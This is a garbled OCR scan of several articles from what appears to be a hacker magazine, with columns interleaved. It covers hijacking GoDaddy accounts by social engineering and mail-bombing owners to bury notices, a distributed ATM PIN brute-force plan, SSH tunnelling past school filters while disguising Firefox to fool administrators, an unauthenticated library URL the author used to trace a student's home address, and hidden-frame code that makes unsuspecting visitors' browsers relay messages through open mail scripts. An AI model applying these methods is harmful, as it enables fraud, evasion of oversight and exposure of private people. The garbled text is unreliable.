protected b y  o n e  s i ng le password . 

Someone can s i m p l y  ca l l  up GoDaddy and 
buy a domai n  name u nder someone e l se ' s  
accou nt. You can even spoof the n u mber 
you 're ca l l i ng from to the one u nder the 
account. Go Daddy wi l l  ask you for the i nfor-
mat ion that I have l i sted above and before 
add ing  the domai n to you r  accou nt the sa l es 
rep w i l l  ask you for the l ast fou r  d ig its of the 
c red i t  card. Now say someone does th i s .  They 

, can eas i l y  make another GoDaddy account 
and transfer over the domai n and i f  the owner 
l ogs i nto their account there w i l l  be no trace 
of the newly  purchased dom a i n  name. 

Any actions made u nder the account w i l l  
notify the accou nt owner v ia  emai l .  S i m p l y  

b y  ma i l  bomb ing  t h e  account owner ' s  ema i l  
with the ema i l  address sa les@godaddy. 
com and support@godaddy.com about 500 
to 999 t i mes wi l l  i nc reases the chance that 
the person w i l l  de lete a l l  those ema i l s  a l ong 
with the ones rea l l y  sent from godaddy.com. 
A l so keep in  m i nd many peop l e  use the same 
password for a l l  the i r  accou nts and the same 
ema i l  address for a l l  the i r  bus i ness.  Even if  
the person has a d ifferent password for the i r  
ema i l ,  with t h e  i nformat ion d i sp layed i n  thei r 
GoDaddy account you m ight be ab le  to reset 
the password. That ema i l  address cou ld  be 
connected to a n  on l i ne bank ing account  or 
even PayPa I .  

There i s  no need for th i s  i nformat ion to 
be d i sp l ayed for any reason .  N oth i ng can be 
1 00 percent h acker-proof but h av i ng sens i tive 
i nformat ion out l i ke that i sn ' t  a smart move 
by GoDaddy. To fix th i s  prob lem a l l  they 
wou ld  have to do i s  have a secu ri ty quest ion 
prompt. I f  answered correctl y, access wou l d  
be granted t o  Account Settings. Th i s  m ight 
not so lve the prob lem fu l ly but it wou l d  make 
it harder for peop le  to obta i n  persona l  i nfor­
mation  about the owner. 

Another secur i ty f law i n  Account Secu­
rity Information is the Enable Card on File 
opt ion .  A l l  you need to do i s  check the 
opt ion,  confirm the password, and then you 
can purchase items on godaddy.com wi thout 
a c redit  card and without ca l l i ng up  to soc ia l  
engi neer the  sa l es reps. 

by S. Pidgorny opens new opportu n it ies for attacks aga i n st 
D i stri buted den i a l  of serv ice attacks are a we l l  known targets . A good example  wou ld  

sad rea l ity of  today. Coord i nated botnets a re be P I N brute forc i ng i n  an automat ic  te l ler 
us ing  their numbers to overwhe l m  thei r target, mach i n e  (ATM). 
consu m i ng either a l l  process i n g  resou rces ATM cards genera l l y  use a magnet ic  str i p  
or a l l  bandwidth . The attacks are i ncred i b l y  and req u i re a P I N  t o  get t h e  account ba lance 
hard to cou nter, as often there ' s  no detectab le  or withdraw cas h .  You have th ree tr ies to  get 
d ifference between the bots and legit imate the PI N r ight.  After the fi rst or second t ime you 
users. Even if there i s, the i ntrus ion preven- can cancel and get the card back. P INs are 
t ion systems shou ld  have enough capacity to genera l ly four  d ig i t  dec i ma l  n u m bers (0000 
process l a rge n u m bers of requests, mak ing  to  9999 ) .  So  one gets two shots a t  guess i ng 
them targets of the attack themse lves. the PIN (ATM swa l l ows the card after the 

But what if the part i c ipants of d i str ibuted th i rd wrong P I N  attempt), and the proba b i l ity 
attacks were not bots but rea l peop le?  That of a successfu l guess is therefore 0 .02 . It  wi l l  
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take days of fu l l  t ime P I N  guess i n g  for some­
body to get access to the money i f  they have 
a card but don ' t  know the P I N .  

U n l ess P I N  b rute forc i ng i s  d i str ibuted . 
Copy i ng a n  ATM card is a tr iv i a l  task.  Equ i p­
ment for it i s  cheap and wide ly ava i lab le .  
P icture a group of 5 000 peopl e  do ing P IN 
guess i n g  at the same t i me. The coord i n ator 
d i st r ibutes m agnet ic str ip  i nformation, the 
force (do we ca l l  them h ubots ?)  writes str ips  
on wh i te p l ast ic and uses 5 000 ATMs at the 
same t ime with preass igned P I N s, just two 
for each h u bot. Success is certa in ,  the attack 
takes j ust m i nutes, and i s  as hard to counter  
as any other d i str ibuted attack. 

A few factors sti l l  offset the r i sk :  form i ng 

the army of h ubots, wh ich  i s  very geograph i ­
ca l ly d i str i buted (thousands of  ATMs a re 
needed), extraord i n a ry orga n i zationa l  sk i l l  
i s  needed, the m agnetic str i p  i nformat ion 
needs to be obta i ned somehow, and moni ­
tori ng systems cou l d  f lag the use pattern and 
p revent the card from being  used u nt i l the 
owner contacts the bank .  But  the requ i red 
resou rces can a l ready be in p lace, as the 
c r i m i n a l  economy has s ign i ficant sca l e  and 
workforce. O n l y  comp letel y  swi tc h i ng from 
eas i l y  c 10nable cards to cryptograph ic  ch i p  
cards w i l l  fu l l y  m it igate the r i sk  o f  such 
d i str ibuted attacks aga i n st bank cards. 

Shouts to the P&A squad, J. K., Cookie, 
and Nicky. We shall outsmart. 

once you h ave esta b l i shed a connect ion,  you 
jamespenguin@gmail.com h ave an ent i re tunne l  to send data back and 

P ictu re you rself in  the fo l lowi ng s ituation .  forth through .  
You ' re at school/work m i nd i ng you r  own N ow the great th i n g  about th i s  under-
bus iness s i m p l y  perus i ng the I nternet and a l l  ground tunne l  i s  that i t  i s  b i g  enough s o  that 
i t  has  to offer. However when you try to v i s i t  i t  can f i t  more than one messenger. As a 
you r  n i nj a  c l a n ' s  webs ite, you are i nstead resu l t  it is poss i b l e  to send messengers with 
presented with a web page stat ing  that th i s  messages for a server a t  Poi nt C through the 
part ic u l a r  webs i te i s  b l oc ked . Natura l l y  you u nderground tunnel ,  h ave them relayed from 
a re shocked and offended by such an  act ion .  Poi nt B to poi nt C, from Poi nt C back to Poi nt 
So do someth i ng about i t; sneak through l i ke B, and then th rough the underground tunne l  
a n i nj a  with a n  SSH tu nne l .  back to  you a t  Poi nt A .  

A Brief Explanation For a more deta i l ed explanat ion see the 
For those who have no i dea what an SSH Wik iped i a  page about Tunne l i ng Proto­

tunne l  is, i magi ne that whenever you estab- col s :  http : / /en . wikipedia . org/wiki / Tunnel 
l i s h  a connection to an SSH server that you ... ing....Protoco l  

are d iggi ng  a n  u nderground tun nel  from The Guards 
you r  locat ion at Poi nt A to the server ' s  l oca- Let ' s  assume that the network that you 
tion at Poi nt B in wh ich a messenger carr ies are c urrent ly on has a server that fi l ters web 
messages back and forth between you and traffic, i s  guarded by a fi rewa l l  that does not 
the server. The reason that the tunne l  i s  a l l ow i nbound connect ions, and o n l y  a l l ows 
u nderground is because you r  connection  i s  outbound connect ions on  ports 2 1  (ftp), 8 0  
encrypted . Because o f  th i s  peopl e  cannot see ( http) ,  and 443 (https) . How is th i s  i nforma­
what i s  be i ng sent back and forth through t ion usefu l ,  you ask?  Wel l ,  we know that 
you r  con n ection (u nderground tunne l ) .  N ow we can get traffic out of th ree d i fferent ports 
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which means that you h ave th ree open i ngs 
from which you can dig a tunne l .  

Preparation 
In order to successfu l ly sneak through the 

fi rewa l l/web fi l ter you wi l l  need two th i ngs: 
An SSH server l i sten i ng on one 

of the ports that you are a l l owed outbou nd 
access on .  For  he lp  sett ing  up  a n  SSH server 
see : http : / / l i fehacker . c om / s o ftwa r e / home ­
- s erve r / geek-to- l ive--set-up-a-personal-

-home - s s h - s erver- 2 0 5 0 9 0 . php 

An SSH c l i ent, e ither PuTTY (G U I) 
or P l i n k  (Command L i ne) .  Th i s  a rtic l e  covers 
the use of P l i nk .  You can down load both 
PuTTY and P l i n k  from:  http : / /www . chiark . 

-greenend . org . uk/-sgtatham/ putty l 

A Simple Tunnel 
The command for creat ing a tunne l  with 

p l i n k  i s  p l ink -N -P PortNumber -L Source 
-Port : RemoteServer : ServicePort - 1  User 

-Name SSHServerAddres s .  For PortNumber use 
a port that you have outbou nd access on. For 
SourcePort use any n umber between 1 and 
6 5 5 3 5 .  For  RemoteServer use the IP  address 
of a remote server you wou ld  l i ke to access. 
For Serv icePort use the port of the service 
you ' d  l i ke to access on  the remote server. 

For example, to tunne l  an http con nec­
tion to a remote server at 72 . 1 4 .207 .99 
through an SSH server l i sten ing  on port 2 1  
and with the address 1 2 3 . 1 2 3 . 1 2 3 . 1 2 3 ,  the 
command wou l d  look l i ke p l i nk -N -P 2 1  
-L 1 3 3 7 : 72 . 1 4 . 2 07 . 9 9 : 8 0 - 1  YourUsername 

1 2 3 . 1 2 3 . 1 2 3 . 1 2 3 .  Once you have entered 
you r  password, open up a web browser and 
enter http : / / 1 2 7 . 0 . 0 . 1 : 1 3 37 i nto the address 
bar and you wi l l  be looki ng at the Google 
home page. 

Note 1 :  When us ing  the above command 
syntax, after you have provided you r  correct 
password, the b l i n k i n g  cu rsor wi l l  drop a l i ne .  
Th i s  means  that  you r  logi n was  successfu l .  

Note 2 :  Tu nne l s  can b e  used to proxy 
a connection to any address on any port, 
however th i s  a rt ic le  wi l l  focus  on tu nne l i ng 
web pages . 

Dynamic SOCKS-based Jutsu !  
W h i l e  a s imp le  tunne l  may  be a l l  r ight 

for con nect ing to one spec if ic server, a n i nja  
such as  yourself has many d ifferent servers to 
b rowse and it is impract ica l  to c reate a tunne l  
for each d ifferent server that  you m ay want 
to con nect to. Th i s  i s  where dynamic  SOCKS­
based port forward i ng comes i nto p lay. I n  
nOn- 1 3 3 7- n i nj4 terms th i s  i s  a n  SSH tunne l  
s i m i l a r  to  the one created i n  the sect ion 
above, but its RemoteServer and Serv ice Port 
a re dynamic .  However its SourcePort rema i n s  

t h e  same. 
The com mand for c reati ng a dynamic  

tunne l  i s ,  plink -N -P PortNumver -0 Source 

-Port -1 UserName SSHServerAddre s s .  

Creat ing a dynamic  t u n n e l  i s  a l i tt le  less 
confus ing (syntax wise) then a s imp le  tu nne l ,  
however us ing  i t  i s  s l ight ly more comp lex.  

Web Browsing Over a Dynamic Tunnel 
In order to use a web b rowser over a 

dynamic  tunne l ,  you need to be ab le  to 
mod ify the browser ' s  proxy sett i ngs. I n  
you r  cur rent restr icted environ ment you are 
unab le  to modify you r  schoo l ' s/work ' s  web 
browser (wh ich i s  I n ternet Exp lorer (boo ! ) )  
sett i ngs. H owever, th i s  i s n ' t  a prob lem for a 
n i n ja  l i ke you rse l f. A l l  you must do is acq u i re 
a web browser that you have fu l l  control 
over. However, you can ' t l eave any trace of 
us ing  another web browser (for it i s  not the 
n i nj a  way), so i nsta l l i ng a new one i s  out of 
the quest ion .  Th i s  i s  where F i refox Portab l e  
(a mob i l e  i nsta l l -free vers ion o f  F i refox) steps 
i n .  Dow n l oad FP from http : / / portableapps . 

-coml apps l internet /fire fox -portab le (th i s  
a rt ic le  covers u s i n g  F i refox Porta b le  2 . 0)  and  
extract i t  to  a U S B  jump dr ive or to you r  hard 
dr ive for l ater burn i ng to a CD. 

To use F P  over a dynamic  tu nne l : F i rst 
start F P, c l ick  on Tool s  and choose Opt ions.  

C l ick the button at the top l abeled Advanced. 

U nder the connection sect ion c l ick the 
button labe led Setti ngs . . .  In the connec­
t ions sett i ngs wi ndow choose the th i rd opt ion 
labe led Manual proxy configuration : and in  
the entry box next  to the words SOCKS Host 

enter 1 2 7 . 0 . 0. 1 . In the entry box to the right 
of the entry box for SOCKS Host enter the 
Sou rcePort you used when creat ing you r  
dynamic  tu n n e l .  Make su re that SOCKS v 5  i s  
selected and c l ick  OK. 

FP wi l l  now send and receive a l l  t raffic 
over you r  dynamic  tunne l ;  however by defau l t  
F P  does D N S  lookups loca l ly wh ich  can give 
away what you a re brows i ng (very un-n i nja­
l i ke) .  To configure F P  to send DNS l ookups 
over a dynam i c  tu n ne l : In  the address bar 
type about : config and hit enter; in the entry 
box next to the word Fi lter enter network . 

-proxy . socks_remote_dns, r ight c l ick  the 
resu l t  and select the Togg l e  opt ion .  

Cloaking FP to look l ike IE  
Wel l  now you ' ve got a copy of  F P  us ing 

a dynamic  tunne l  to  browse the web, but F P  
i sn ' t  very stea lthy and a ny pass i ng  teacher/ 
adm i n i strator wi l l  be a l l  over you when they 
see it .  As a n i nj a  stea lth i s  very i mportant, 
so you r  next pr ior ity is to configu re F i refox 
Portab le  so that it looks l i ke I nternet Exp lorer. 
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You wi l l  need the fo l lowi ng i n  order to effec­
t ive ly  c l oa k  you r  copy of FP :  

- Neofox IE  6 :  https . l l addons . mo z i l l a . 

"org/fire fox / 4 3 2 7 / .  A theme that makes PF 
look l i ke IE  6 .0 

-F i  resometh i ng: https • I I  addons • moz i l l a . 

.. org/firefox / 3 1 1 .  An extens ion that a l l ows 
you to change the t i t le of the web browser. 
Note: you wi l l  have to mod ify the .xp i  s l ight ly 
to make i t  i nsta l l  with F P  2 .0 .  The steps on 
how to do th i s  a re i n  the fi rst comment of the 
page. 

- I nternet Exp lorer XP Icons :  http . l lwww . 

by valnour 
Th is  a rt ic l e  out l i nes a very s imp le  hack 

on a very promi nent tech n ica l  schoo l ' s  
o n l i ne l i b ra ry. I t  may sound l i ke gett ing i nto 
a schoo l ' s  l i bra ry i sn ' t  that b ig  a dea l ,  but th i s  
part ic u l a r  school ( and  I ' m  su re many  others 
l i ke it) requests that you i nput contact i nfor­
mation when l oggi ng i n  to the system for the 
fi rst t ime.  Th is  a l lows a potentia l  attacker to 
ga i n  some sens it ive data on a student such as :  
locat ion of the schoo l they attend, fu l l  name, 
phone n u m ber (home and work), ema i l  
addresses, a n d  i t  a l so a l l ows you to change 
passwords without knowing the o ld  one.  

Procedure 
When l oggi ng i nto th i s  schoo l ' s  student 

l ib rary, you a re prompted for you r  u sername 
and password . After prov id ing  th is you a re 
l ogged i nto the system.  H owever, if you l og 
i nto the schoo l ' s  student porta l (wh ich shows 
schoo l news and prov ides a l i n k  to the l i brary 
and such)  with you r  username and password, 
then fo l low the l i n k  to the schoo l ' s  l i brary, a 
comp lete l y  d i fferent procedu re is fo l lowed . 
I n stead of l oggi ng i n  with any sort of authen­
t icat ion or check ing sess ion I Ds or  even 
cookies, i t  j ust ta kes you to a U RL structu red 
l i ke th i s :  
http . l l l ibrary . ma j orschoo l . edu / porta l . 
"asp?pi=s tudent#&role=s tudent 

Replace "student#" with,  wel l , you r  
student n u mber a n d  you have i nstant access.  
No password checks or anyth i ng. 

"bamm . gabriana . com / c g i - b i n / down load . p l l  

"package / ieiconsxp . xp i .  An extens ion that 
rep laces the F i refox icons with the ones used 
by I E .  

Configure F i resometh i ng to change the 
browser t i t le from "Moz i l l a  F i refox" to "Mic ro­
soft I nternet Exp lorer. "  FP  shou ld  now at l east 
resemble  IE at a pass i ng g lance and with 
some too l bar and appearance tweak ing  on 
you r  part, no teacher/adm i n i strator wi l l  spare 
it a second g lance. 

With you r new sk i l l s  in N etwork N i nj i tsu, 
no web fi l ter/fi rewa l l  w i l l  stand a chance.  

After I d i scovered th i s, I j u st start p l ug­
g ing  in d i fferent n u m bers. I tr ied about ten 
in a l l  and o n l y  found  one other student. N ow 
I ' m  s u re if I wou l d  h ave poked arou nd some 
more I cou ld  have found  severa l others, but I 
d i d n ' t  want to ra ise any suspic ion .  As fa r as 
the other student I fou nd, I was ab le  to get 
the i r  ema i l  add resses, two phone n u m bers, 
and fu l l  name. I was ab le  to locate her on 
myspace with th i s  i nformation and was ab le  
to  gather her home address after pok i ng 
a round  on Google with a l l  the other i nfor­
mation I fou nd .  Now keep i n  m i n d  that th i s  
school h a s  upwards o f  70 campuses i n  the 
U n i ted States. Th i s  part i c u l a r  person was on 
the west coast. I l ive c l oser to the east. 

Conclusion 
Th is  promi nent tech n ica l  schoo l ,  wh ich 

even offers a c l ass ent it led "Secu r ity App l i ­
cat ions o f  Common IT P latforms, " obv i ­
ous ly  created a weak po i nt i n  thei r o n l i ne 
resou rces. Th i s  prob lem was very s imp le, but 
sti l l  was able to give enough i nformation for 
an attacker to ga i n  p lenty of ground i n  very 
l i tt le  t ime.  A l l  that was needed was an  eight 
d ig i t, nonrandom n u mber that cou ld eas i l y  
have been soc ia l  engi neered . I hope I have 
given enough i nformat ion to make th i s  usefu l ,  
espec i a l l y  to  students at th i s  schoo l .  B ut I a l so 
hope I have been vague enough so as to put  
no one's persona l  data at r i sk .  
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Co v- e r t  

Cha, rl.rl.el 
by OSI N  

Th i s  art ic le  i s  a demonstrat ion on how var ious types o f  com m u n i cat ion channe l s  c a n  be 
rendered in u n usua l  ways.  I shou l d  po int  out that the pu rpose of wr i t ing th i s  a rt ic l e  i s  not to 
i n troduce worms, troj ans, or  yet another v i rus, but to get you to v iew tool s  and tech n iques 
i n  a new manner, espec i a l l y  in ways they were never meant to be used . That bei n g  said,  I 
w i l l  fi rst spe l l  out how the actua l  mechan i sm of send i ng a message over the I nternet works. 
Then I wi l l  de lve i nto the deta i l s  and scr i pts requ i red to actu a l l y  perform the task .  Bu t, you 
shou ld  rea l i ze that th i s  type of com m u n i cat ion is  not for t ime-sens it ive i nformat ion . In some 
ways these tech n iques are someth i ng l i ke a " Poor Ma n ' s  Tor. " For pu rposes of th i s  a rtic l e  I wi l l  
assume the reader has some work i ng knowledge of HTML cod i ng with I Frames, Javascr i pt, and 
J ava-to-Javascr ipt com m u n i catio n .  Addit iona l l y, the fu l l  sou rce code for the app let and m a i n  
HTMUJ avascr ipt page w i l l  b e  ava i l ab le  a t  http ://u k .geoc it ies .com/os i n 1 94 1 /app/app . htm l .  

The way th i s  com m u n i cat ion scenar io goes i s  th i s .  Two peop l e  i n  d iverse locat ions  need to 
send messages to each other. For s i m p l i c ity sake, th i s  scenar io  takes i nto account one person, 
Shemp, l eav i ng a text message somewhere out on the I nternet. The other person,  Cur ly, wi l l  
c reate a webs i te that wi l l  retr ieve the message from Shem p ' s  website. For th i s  d i scuss ion both 
webs i tes wi l l  be in the same doma in ,  say for examp le  NyukNyukNyuk .  You ' l l  understand 
l ater why hav ing  that  setup makes the com m u n i cat ion much eas ier. N ow, you may be ask ing 
you rself, why does n ' t  Cur ly  mere ly  v i s i t  Shemp ' s  website? I t  cou ld  be that  both parties do not 
want to expose thei r brows i ng hab its to the i r  ISP or  to the N SA.  And even i f  they were us ing  
an  anonym iz ing  system such  as Tor, they m ight get b locked by  certa i n  countr ies '  tyra n n ica l  
fi l ter ing schemes, such as the G reat F i rewa l l  of  Ch i na .  So Cur ly ' s  webs i te i s  rea l ly the cata l yst 
wh ich k icks off everyth i ng  and th i s  whole scenar io h i nges on  Cur l y ' s  ab i l i ty to attract an i n no­
cent web v iewer to v iew his webs i te. 

Curly wi l l  c reate a web page which wi l l  cons ist of two frames, a top and bottom frame.  The 
top frame wi l l  show some i n nocuous i n format ion th at the i n nocent web v is itor wi l l  see. Th i s  
c a n  b e  anyth i ng s o  I don ' t  show any h t m l  code for top . htm l .  T h e  bottom frame i s  where the 
act ion wi l l  take p l ace. The htm l code for the page that creates the frames looks l i ke th i s :  
index . html 

< frameset rows= l O O % , O % >  

< f rame name= " top " src= " top . html " NORE S I Z E> 

< f rame name= " bottom " src= " bottom. html " NORE S I Z E> 

< / frameset> 

I t  shou ld  be obv ious  by now that the i n nocent web v iewer in most cases w i l l  not even 
rea l i ze there i s  a bottom frame, but i t  is there even though we assigned 1 00 percent of the 
browser w indow to the top. I t  i s  in that bottom frame where a l l  the act ion takes p l ace. 

Operation Moe 
About ten years ago it was popu la r  for webs i te des igners to create l i tt l e  cgi and perl test 

scr i pts to test send i ng emai l s  to an ema i l  accou nt. There used to be many of those scr i pts out 
on the I n ternet but over t ime most d i sappeared . But  not a l l  of them were deleted . Some have 
been out there for years and they a ren ' t  bei ng mon i tored . I persona l l y  know of at least th ree 
s i tes that sti l l  a l l ow you to pass text messages i n  the U R L  of the http G ET ca l l .  I was ab le  to fi nd 
them by us ing Goog l e ' s  advanced search sett i ngs. I won ' t  g ive the exact search cr i ter ia  I used 
because I don ' t  want to start a spam attack, but i t  shou l d n ' t  be that hard for you to figu re out .  
Send i n g  ema i l  th i s  way i s  not  rea l l y  hard .  You just red i rect the bottom frame to the scr ipt ' s  l oca-
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t ion, which is usua l ly an acknowledgment page. Here ' s  the b it  of Javascr ipt code that is l oaded 
by a ca l l  in the body htm l tag when bottom . htm l is l oaded, i .e . ,  <body onload= " dothis ( ) ;  " >  

function dothis ( ) {  

I l change the l i ne below to whatever emai l  script you are using . 

var 

Url= .. http : / /www . sornedornai n . com/rnail . cgi ? narne=Shernp& sender=shemp@ NyukNyukNyuk . com& 

"rec ip=curly@ NyukNyukNyu k . com& subj =My Mes s age& text=Shernps % 3 2rnessage % 3 2to% 3 2 Curly " ;  

this . docurnent . location . href=url ; 

B ut how does Shem p ' s  message actua l ly  get to Cur ly ?  Wel l , i n  that case we ' re go ing to 
use the I F rame tag. Let ' s  say that Shemp has created an accou nt on NyukNyukNyuk  u nder 
h is name and has p l aced a f lat  text fi l e  with the message " How dare you look l i ke someone 
I hate ! "  Cur ly  a l so has a separate account  on NyukNyukNyuk  for h i mself, but his homepage 
i s  the framed page d i scussed above . He has "enti c i ng" v i sua l  and textua l  i nformation  to l u re 
someone to v iew it which k icks off the Javascr ipt fu nction .  But  fi rst, Cur ly  has to make come 
code changes. Here i s  the I Frame code i n  bottom .htm l :  

< i frame 

src= ·. http : / /www . NyukNyukNyuk . com / s hernp /rne s s age • txt " 

narne= " te s t " onload= " dothi s ( thi s ) ; " > 

< / i f rame> 

B ut Cur ly  a l so has to make some code changes to the Javascr ipt fu nction doth i s .  U s i ng a 
search engi ne, Cur ly  fi nds some code that wi l l  bas ica l ly p u l l out the text (tech n i ca l l y  it p u l l s 
out the htm l code) from the I Frame: 

function dothi s ( i f rarne ) { 

content= " " ; 

if ( i frame . contentDocument ) 

content=i frame . contentDocument . body . innerHTML i 

e l s e  if ( i frarne . contentWindow ) { 

content=i f rame . contentWindow . document . body . innerHTML ; 

} el s e  if ( i frarne . docurnent ) { 

content=iframe . document . body . i nnerHTML i 

content=content . substring ( S , content . length- 6 ) ;  

url= .. http : / /www . sornedornai n . com/rnail . cgi? narne=Shernp & sender=shernp @ NyukNyukNyuk . 

"corn& recip=curly@ NyukNyukNyuk . com& s ub j =My 

Mes s age&text= " +content ; 

this . document . location . href=ur 1 i  

O n e  fi na l  note about th i s  tech n ique.  A s  I s a i d  ear l ier  i t  i s  eas ier  if  both webs i tes come 
from the same doma i n .  By  defau lt, most browsers prevent cross-s ite scr ipt i ng across d ifferent 
doma ins .  Th i s  i s  actu a l l y  a good th i ng, but there ' s  noth i ng p revent ing a user from a l l owing th i s  
i n  the i r  browser. So i n  theory groups of  peop le  work i ng together cou l d  set up  a covert channe l  
by changing the setti ngs i n  the i r  b rowsers to del i berate ly  a l l ow messages to be sent  from sepa­
rate doma i ns .  A l so, expect the same message to be del ivered m u l t ip le  t i mes. 

Operation Larry 
I know what you ' re th i n k i ng.  Cou ld  the above techn ique work by send ing 64-bit encoded 

i m ages? In theory yes, but in p ractice most l i ke ly  not. That ' s  because a lot of program mers 
wise ly l i m i ted the s i ze of the subm itted message in the i r  scri pts. But that ' s  not goi ng to 
deter Shemp and Cur ly. They 've thought of another way to com m u n icate: Java-to-Javascr ipt 
com m u n i cation .  

Th i s  next tech n ique has two req u i rements but, be l ieve it or not, i t ' s  actua l l y  no t  i m pos­
s ib le  to fi nd a webs ite that fu l fi l l s  them. In fact, I actu a l l y  know of such a website, but I won 't 
ment ion it s i nce they have been very good to me.  Anyway, the requ i rements a re these: 

a .  The website a l l ows users to have accou nts (creati ng htm l pages and an  em2 i l  account) .  
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b. There is an SMTP server and HTML webserver ru n n i ng on the same mach i ne .  
For those of  you who a re not Java program mers, an  app let norma l l y  cannot open a network 

connection .  But there i s  one spec i a l  case in which a n  app let can: when it 's com m u n i cati ng 
back to the server from whence i t  came. And in that case if  there i s  a server l i ste n i n g  on any 
port, i t  can norma l l y  make a connect ion to its server of or ig i n and that port.  For the purposes 
of th i s  demonstrat ion i t  is assumed the SMTP server re l ays messages to Cur ly ' s  ema i l  account 
of the same doma i n .  

Cur ly  w i l l  b e  the o n e  w h o  w i l l  have t o  i mp lement the Java-Javascr ipt comm u n ications .  
Bas ica l l y, Javascr ipt com m u n icates to Java by ca l l i ng one of  the Java methods of  a n  app let: 
this . document . applet s [ O ) . s endEmai l ( me ssage ) ; 

I n  th i s  case the method send Ema i l  is a Java method that performs the ca l l  to the SMTP 
server. On the other s ide, Java can comm u n i cate with Javascr ipt methods, but we have to set 
up some spec i a l  sect ions in the Java code that is not norma l ly needed for an ord i na ry app let. 
The fi rst is that we m u st i m port the c l ass that a l l ows an app let to ca l l  Javascr i pt. That l i ne i s  
added t o  t h e  Java code then recompi l ed :  
import netscape . j avascr ipt . * ;  

I n  most cases, espec i a l l y  i n  Windows mach i nes, the netscape.javascr ipt c lasses res ide i n  
the p l ugi n .jar  fi l e .  When you com p i l e  you r  applet you may have to spec ify the -c l asspath 
option  in order to com p i l e  the Java code. Anyway, to use the c l ass we must create a new 
J SObject c lass: 
JSOb j ec t  win=JSOb j ect . getWindow ( this ) ;  

Then from our  app let we can ca l l  any J avascr ipt fu nct ion i n  ou r  page l i ke so: 
win . c all ( " dothis " , nu l l ) ;  

Th i s  wou l d  ca l l a Javascr ipt fu nct ion ca l led doth isO with no var iab les passed to the fu nc­
t ion .  As a s ide note, the n u l l  i s  actu a l l y  a p l ace ho l der. That p lace i s  usua l l y  reserved for a 
Str i ng  array to pass var iab les i nto the J avascr ipt fu nction, but that fu nctiona l i ty is beyond the 
scope of th i s  a rt ic le .  

Bu t  we must a l so pass  parameters to  th i s  applet i n  order for i t  to  run correctly. Let ' s  say 
Cur ly  wants the opt ion of e i ther h av i ng Shem p ' s  message sent to h i m  v ia  a scr ipt as we d id  i n  
Operat ion Moe, or send i n g  i t  b y  connecti ng t o  port 2 5  of o u r  server o f  or ig in  a n d  send i ng the 
message manua l l y  so that the applet does n ' t  have to be recompi led.  Here is a n  examp le  of 
how applet parameters a re defi ned for Cur ly ' s  applet: 

< applet code= " app . c l as s "  width=1 height = 1 >  

<param name= " helo_l ine " value= " helo NyukNyukNyuk . com " >  

<param name= " server " value = " l O . O . O . l " >  

<param name= " smtpyort " value= " 2 5 " >  

<param name= " from_email " 

value= " shemp@ NyukNyukNyuk . com" >  

<param name= .. to_emai l  .. value= .. curlY@ NyukNyukNyuk . com .. > 

<param name = lI sub j ec t " value = " MY Mes s age to You " >  

<param name = " email_mode ll value= " home server " >  

< / applet> 

Most of the parameters a re self exp lanatory, but I shou ld  exp l a i n  a few of them . The he lo_ 
l i ne parameter is needed because some SMTP servers req u i re a he lo ca l l  before they w i l l  a l l ow 
you to send ema i l  through them. You may have to p l ay with that parameter i n  order to get the 
applet to work correctl y  with the server of or ig i n .  The " server" parameter i s  the server of or ig i n ' s  
I P. And fi na l l y  emai Lmode i n structs the applet o n  which method i t  shou ld  use to send Shemp ' s  
message. The "homeserver" mode tel l s  t h e  applet t o  make a con nect ion back t o  port 2 5  of 
the " server" I P  and send it to the user defi ned i n  "to_ema i l " ,  i n  th i s  case a va l id ema i l  account 
for the doma i n  of the serv i c i ng SMTP server. The other opt ion of emai l_mode is "scr i pt " .  Th i s  
i n structs t h e  app let t o  ca l l  a J avascr ipt fu nct ion a n d  send t h e  ema i l  v ia  t h e  tech n ique  i ntro­
duced in Operation Moe. Reca l l  that the message itself is retr ieved by the I Frame in bottom.  
htm l and i sn ' t  defi ned as a n  applet parameter. I t  i s  a l ready defi ned by the  "content" var iab le .  

Parameters for a n  app let a re retr ieved us ing  the getParameter method for applets. So we 
wou l d  grab one of  the parameters defi ned on the htm l page l i ke th i s :  
String ema i l  mode=getParameter ( . .  ema i l  mode " ) ;  

N ote that you must pass the getPa rameter method the same name i n  your Java code as 
you did in the htm l code. And here i s  the s n i ppet of code in the Java applet that sends the 
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message: 

publ i c  void sendEmai l ( String mes s age ) 

if ( emai l_mode . equal s ( " script " » { 

I l i f  email mode is by script , c a l l  the Javascript func 

sendContentOverWeb ( )  

I i this is the Javascript method that calls  the cgi 

ema i l  script 

I i note that ' message ' i s  already available to the 

Javascript function 

System . out . print ln ( " Ca l l ing method 

sendContentOverWeb • • •  " ) ;  

win . call ( " sendContentOverWeb " , null ) ;  

} e l s e  

I l e l s e  s e n d  by opening a network connection back t o  

server w e  came 

System . out . print l n ( " Calling server " +server ) ;  

String inl ine= " " ;  

String out l i ne= " " ;  

try { 

InetAddres s  addr = 

InetAddres s . getByName ( server ) ;  

Socket sock = new Socket ( addr , smtp-Fort ) ;  

Bu f feredReader in=new BufferedReader ( new 

I nputStreamReader ( sock . getI nputStream ( » ) ;  

Bu f feredWriter out=new BufferedWriter ( new 

OutputStreamWriter ( sock . getOutputStream ( » ) ;  

I l read in server ' s  welcome 

inl ine=in . readLine ( ) ;  

I lwrite out helo line 

out . write ( helo_line+ " \ n " ) ;  

out . flush ( ) ; 

I l read in server response 

inl ine=in . readLine ( ) ;  

out . write ( " mail from : " + from_email + " \ n " ) i 
out . flush ( ) ; 

inline=in . readLine ( ) ;  

out . write ( " rcpt to : " +to_email+ " \ n " ) ; 

out . flus h ( ) ; 

inl ine=in . readLine ( ) ;  

out . write ( " data " + " \ n " ) ; 

out . flush ( ) ; 

I lwrite out the me s s age 

out . write ( me s s age+ " \ n " ) ;  

out . flus h  ( ) ; 

out . write ( " . \ n " ) ;  

out . flush ( ) ;  

I l read in server response 

inl ine=in . readLine ( ) ;  

out . write ( " quit\ n " ) ;  

out . flush ( ) ; 

sock . c lose ( ) ; 

} c atch ( Exception e )  { System . out . println ( " SMTP 

Error : " +e ) ; }  

As you can see, i f  the homeserver has an SMTP server ru n n i ng on it, there i s  the poss i b i l i ty 
that a n  applet cou l d  ut i l i ze its servi ces, which i s  why i t  is genera l l y  not a good i dea to ru n an  
SMTP server on the same mach i ne as the webserver. B ut Cur ly  has one more zany ant ic  up  
h i s  s l eeve. 
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Operation Cheese 
Gett ing back to the story, every now and then Cur ly  forgets or makes a m i stake and enters 

the wrong port n u mber for the SMTP server in the applet ' s  parameters. What he fi nds i s  that the 
app let th rows a n  except ion and fa i l s  to make a connect ion s i nce that erroneous  port is natu­
